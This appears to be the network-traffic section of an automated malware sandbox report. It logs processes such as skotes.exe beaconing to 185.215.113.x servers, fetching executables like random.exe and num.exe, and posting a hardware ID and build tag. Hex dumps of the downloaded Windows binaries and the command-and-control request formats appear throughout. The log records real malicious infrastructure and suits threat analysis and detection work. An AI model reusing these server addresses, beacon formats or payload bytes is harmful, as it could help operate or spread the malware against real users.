Oct 31, 2024 20:52:16.370037079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:16 GMT Content-Type: application/octet-stream Content-Length: 2131968 Last-Modified: Thu, 31 Oct 2024 19:29:58 GMT Connection: keep-alive ETag: "6723dab6-208800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 66 6f 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@rfo!@P.d. p.v@.rsrc .@.idata .@ *.@fefgvzwfX@bzufiktirb @.taggant0r"f @
Oct 31, 2024 20:52:16.370074034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:16.370086908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:16.370213985 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:16.370224953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:16.370245934 CET	1236	IN	Data Raw: 76 4e 60 f6 56 15 38 0d c6 d7 68 1d 6d 0b 62 92 02 7e e2 81 e1 16 d5 3a 2d 26 21 ac c5 05 68 92 cd c2 ce c2 c5 9a 60 86 cd c2 f4 d0 c5 9a 60 7a ce c1 32 e6 c5 79 ea 8e 91 4e a2 8f e5 03 6a 36 50 25 82 4c 6a c1 7e dc 9d ac 63 93 ff f2 94 7c bc 12 Data Ascii: vN`V8hmb~:-&!h``z2yNj6P%Lj~c\|WlKroFS _0^f7psCFA!!OJz'hViko<OW="yaby&?_.IsD=x\r%4B>YVLLH1<~
Oct 31, 2024 20:52:16.370263100 CET	1236	IN	Data Raw: f8 08 58 69 04 bd 5c 8e 29 ff 8c a8 f7 90 b4 93 f2 68 c1 d9 b5 17 d9 38 44 3d 01 b7 4e a1 bc 2c 72 a6 6b 0b 4a 74 bf 5b ad 0f 01 b9 b9 03 b3 a2 90 9a 6f 92 db fa 0e 87 49 2f 12 6c 45 48 3b fc 56 f8 f3 82 ae 4e 05 b5 3b 9f 9e 9e 47 d9 c7 21 33 2d Data Ascii: Xi\)h8D=N,rkJt[oI/lEH;VN;G!3-\?NwKcV`MqYLR IEZXQYcXV>[PP@ \E$Dn51fFhp>D8$TS;qv*{WX"aNplu3U0t7fBX=)
Oct 31, 2024 20:52:16.370282888 CET	636	IN	Data Raw: 23 84 30 59 5b fa 51 ff 5e 3a 87 32 43 0e 65 60 46 c2 d8 0d 8f 4a 83 11 52 1d 50 66 ca 77 24 83 d9 db 90 f8 5b 5a 58 44 c0 4d dc f0 de 6e 69 58 fa 23 8d 10 ca 68 ef 5e 3f 0e 69 0a b6 22 b1 77 e2 23 57 76 d2 1d 86 ef 55 0b d5 53 21 8c 00 80 41 ca Data Ascii: #0Y[Q^:2Ce`FJRPfw$[ZXDMniX#h^?i"w#WvUS!A\d \|)cW$z{2?iDPtWX(.d~&iX#l(OiZb=ZaC,#0ZH{][d QpR:QWTRQ^-ZrfXOmkf
Oct 31, 2024 20:52:16.370294094 CET	1236	IN	Data Raw: ae 0d 41 87 78 11 68 c2 3d 1c 54 be 5b 25 34 88 1f cd a0 6f 66 0e 7d 17 52 d0 65 db a4 1d 44 d2 df 56 88 80 b5 82 9b f3 a1 2a 69 93 81 44 69 42 43 93 6c e2 3d 33 88 cf 5b 7a c4 56 fc 2b c8 a1 46 96 69 7f d2 15 a1 db 5a 6a 76 ee 43 c6 58 56 c0 50 Data Ascii: Axh=T[%4of}ReDV*iDiBCl=3[zV+FiZjvCXVPiX#s2dHyX=eXl&}>i$J?\|B&J[$tXOx4vCXM&i]T76:NQ7o[#A_[6ZBy^=U[lcwU[
Oct 31, 2024 20:52:16.370311975 CET	1236	IN	Data Raw: 25 45 78 fe 5b 44 fc 88 6f 0c d8 df 8b 01 0c e7 4a 1d 18 5b 07 74 10 28 39 92 28 80 52 ee 51 e2 0d f2 1a 90 81 fe 69 9a b5 38 e7 0d 9c 2e 8b a5 56 38 9e 7b 5b 15 de db 7e 6c 1c 47 ba a5 69 56 4a 75 d2 52 f2 34 0d 47 f6 1d a4 76 2a e4 ec 31 6e 9f Data Ascii: %Ex[DoJ[t(9(RQi8.V8{[~lGiVJuR4Gv1n]RAP %gJ[Yi43i.G/N+BBWafCOWa]R&V4iXDJ[t8D_[th:eGD?%HuF8,dP^W.X
Oct 31, 2024 20:52:16.375350952 CET	1236	IN	Data Raw: 84 8a 30 48 c2 ac 41 1b a4 57 b1 92 b9 56 5f 7f 62 c4 e8 48 46 bf 3e c2 b2 00 90 31 28 17 37 50 49 37 c4 bb 4c b7 96 6e 17 ee 79 91 7e 53 5f 8e b9 52 f6 bf 58 9f 21 82 74 c9 50 20 36 65 c6 ba 87 be 63 6e 98 a8 7e 48 1a 0b c4 1f 99 2a 78 58 9a 84 Data Ascii: 0HAWV_bHF>1(7PI7Lny~S_RX!tP 6ecn~H*xXTf5bJ%soqy]_\jYjBXe\$UDj1f@fB)]}CsD^9WGBg&?FeRdH(~[5{?KCP1n#A@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:20.303766012 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 39 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002976001&unit=246122658369
Oct 31, 2024 20:52:21.240304947 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	185.215.113.206	80	1076	C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:21.182166100 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:52:22.115123034 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:52:22.117690086 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="build"tale------IJDHDGDAAAAKFIDGHJDG--
Oct 31, 2024 20:52:22.423418999 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	185.215.113.16	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:21.252751112 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 20:52:22.199059010 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:22 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 31 Oct 2024 19:14:29 GMT Connection: keep-alive ETag: "6723d715-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0d d7 23 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL#g"Xw@`@@@d\|@$u4@.text `.rdata@@.datalpH@.rsrc$@@@.relocuv@B
Oct 31, 2024 20:52:22.199078083 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 31, 2024 20:52:22.199120045 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 31, 2024 20:52:22.199147940 CET	212	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D
Oct 31, 2024 20:52:22.199161053 CET	1236	IN	Data Raw: e8 2e e8 01 00 8b f3 c7 87 2c fd ff ff 40 c9 49 00 59 39 9f 34 fd ff ff 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff Data Ascii: .,@IY9404Y$<IvY-l\L_^[`t
Oct 31, 2024 20:52:22.199222088 CET	1236	IN	Data Raw: 0f 85 72 0c 04 00 56 6a 40 e8 18 e3 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 Data Ascii: rVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I I
Oct 31, 2024 20:52:22.199239016 CET	1236	IN	Data Raw: 00 00 56 50 ff 75 0c ff 75 08 e8 a8 cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 Data Ascii: VPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u
Oct 31, 2024 20:52:22.199254990 CET	1236	IN	Data Raw: 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d Data Ascii: uE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE
Oct 31, 2024 20:52:22.199358940 CET	848	IN	Data Raw: c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 Data Ascii: UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FM
Oct 31, 2024 20:52:22.199373960 CET	1236	IN	Data Raw: 00 50 50 68 00 00 cf 00 b8 c8 c9 49 00 50 50 57 ff d6 57 ff 35 58 13 4d 00 a3 8c 13 4d 00 6a 01 50 57 57 57 57 68 c4 08 b0 50 57 68 a0 c9 49 00 57 ff d6 8b 35 28 c7 49 00 57 ff 35 8c 13 4d 00 a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e Data Ascii: PPhIPPWW5XMMjPWWWWhPWhIW5(IW5MMW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjI
Oct 31, 2024 20:52:22.204210043 CET	1236	IN	Data Raw: c3 55 8b ec ff 75 14 8b 55 0c ff 75 10 8b 4d 08 e8 06 00 00 00 59 59 5d c2 10 00 55 8b ec 83 e4 f8 51 a1 8c 13 4d 00 53 56 8b f1 57 8b fa 3b f0 75 5e 83 ff 11 76 5f 8b c7 2d 82 00 00 00 0f 84 cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 Data Ascii: UuUuMYY]UQMSVW;u^v_--H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%Mu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:28.302381039 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 39 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002977001&unit=246122658369
Oct 31, 2024 20:52:29.452636957 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 31, 2024 20:52:29.454215050 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49756	185.215.113.16	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:29.462400913 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 20:52:30.393558979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:30 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 31, 2024 20:52:30.393579006 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE
Oct 31, 2024 20:52:30.393589973 CET	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hj
Oct 31, 2024 20:52:30.393615961 CET	1236	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 00 e1 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 e6 95 01 00 8d 8d 04 fc ff ff e8 db 95 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 ae Data Ascii: jRAM]UQMM\|MHM<M0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\M
Oct 31, 2024 20:52:30.393621922 CET	1236	IN	Data Raw: ff ff e8 68 90 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 2c 56 42 00 8d 95 78 fd ff ff 52 8d 85 cc fe ff ff 50 8d 8d 84 fd ff ff 51 68 84 55 42 00 8d 95 90 fd ff ff 52 8d 45 08 50 8d 8d 9c fd ff ff 51 68 dc 54 42 00 Data Ascii: h}0E$PlQh,VBxRPQhUBREPQhTBREPQi[TMP*lxti^SH=
Oct 31, 2024 20:52:30.393635035 CET	1236	IN	Data Raw: f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 8b 4d fc 3b 8d a0 00 00 00 0f 83 90 00 00 00 81 ec 88 00 00 00 8b cc 8d 55 08 52 e8 98 f6 ff ff 8b 45 fc 6b c0 2c 8b 8d 90 00 00 00 8b 54 01 Data Ascii: ]UEEEM;UREk,T(REk,TREk,PuMk,DPMk,DPIXURM]UE
Oct 31, 2024 20:52:30.393641949 CET	1236	IN	Data Raw: 42 00 68 70 1d 42 00 e8 7b 22 00 00 83 c4 0c a3 64 6c 6d 00 6a 0b 68 80 1d 42 00 68 8c 1d 42 00 e8 62 22 00 00 83 c4 0c a3 50 6c 6d 00 6a 05 68 98 1d 42 00 68 a0 1d 42 00 e8 49 22 00 00 83 c4 0c a3 f8 6c 6d 00 6a 14 68 a8 1d 42 00 68 c0 1d 42 00 Data Ascii: BhpB{"dlmjhBhBb"PlmjhBhBI"lmjhBhB0"nmjhBhB"<mmjhBhB!omjhBh(B!Homjh8BhHB!mmjhXBhdB!lmjhpBhB!p
Oct 31, 2024 20:52:30.393740892 CET	1236	IN	Data Raw: e8 ae 1d 00 00 83 c4 0c a3 8c 6f 6d 00 6a 12 68 20 22 42 00 68 34 22 42 00 e8 95 1d 00 00 83 c4 0c a3 c4 6b 6d 00 6a 0a 68 48 22 42 00 68 54 22 42 00 e8 7c 1d 00 00 83 c4 0c a3 78 6b 6d 00 6a 08 68 60 22 42 00 68 6c 22 42 00 e8 63 1d 00 00 83 c4 Data Ascii: omjh "Bh4"BkmjhH"BhT"B\|xkmjh`"Bhl"Bckmjhx"Bh"BJ4omjh"Bh"B1kmjh"Bh"Bmmjh"Bh"BLkmjh#Bh#Bkmjh #Bh0#Blmjh@#
Oct 31, 2024 20:52:30.393805981 CET	1236	IN	Data Raw: 6d 00 6a 0c 68 58 28 42 00 68 68 28 42 00 e8 cc 18 00 00 83 c4 0c a3 a8 6e 6d 00 6a 16 68 78 28 42 00 68 90 28 42 00 e8 b3 18 00 00 83 c4 0c a3 60 6c 6d 00 6a 0c 68 a8 28 42 00 68 b8 28 42 00 e8 9a 18 00 00 83 c4 0c a3 18 6f 6d 00 6a 06 68 c8 28 Data Ascii: mjhX(Bhh(Bnmjhx(Bh(B`lmjh(Bh(Bomjh(Bh(Blmjh(Bh(Bhnmjh(Bh)BOpmjh )Bh<)B6mmjhX)Bhp)Btlmjh)Bh)Blmjh)Bh)B
Oct 31, 2024 20:52:30.393825054 CET	36	IN	Data Raw: 2f 42 00 e8 03 14 00 00 83 c4 0c a3 90 6e 6d 00 6a 11 68 b8 2f 42 00 68 cc 2f 42 00 e8 ea 13 00 00 83 c4 0c Data Ascii: /Bnmjh/Bh/B
Oct 31, 2024 20:52:30.398659945 CET	1236	IN	Data Raw: a3 a4 6f 6d 00 6a 08 68 e0 2f 42 00 68 ec 2f 42 00 e8 d1 13 00 00 83 c4 0c a3 bc 6b 6d 00 6a 07 68 f8 2f 42 00 68 00 30 42 00 e8 b8 13 00 00 83 c4 0c a3 5c 6f 6d 00 6a 08 68 08 30 42 00 68 14 30 42 00 e8 9f 13 00 00 83 c4 0c a3 40 6c 6d 00 6a 0e Data Ascii: omjh/Bh/Bkmjh/Bh0B\omjh0Bh0B@lmjh 0Bh00BDkmjh@0BhX0BmXmmjhp0Bh0BTomjh0Bh0B;omjh0Bh0B"kmjh0Bh0Bjmjh0Bh1B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49766	185.215.113.16	80	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:32.596301079 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
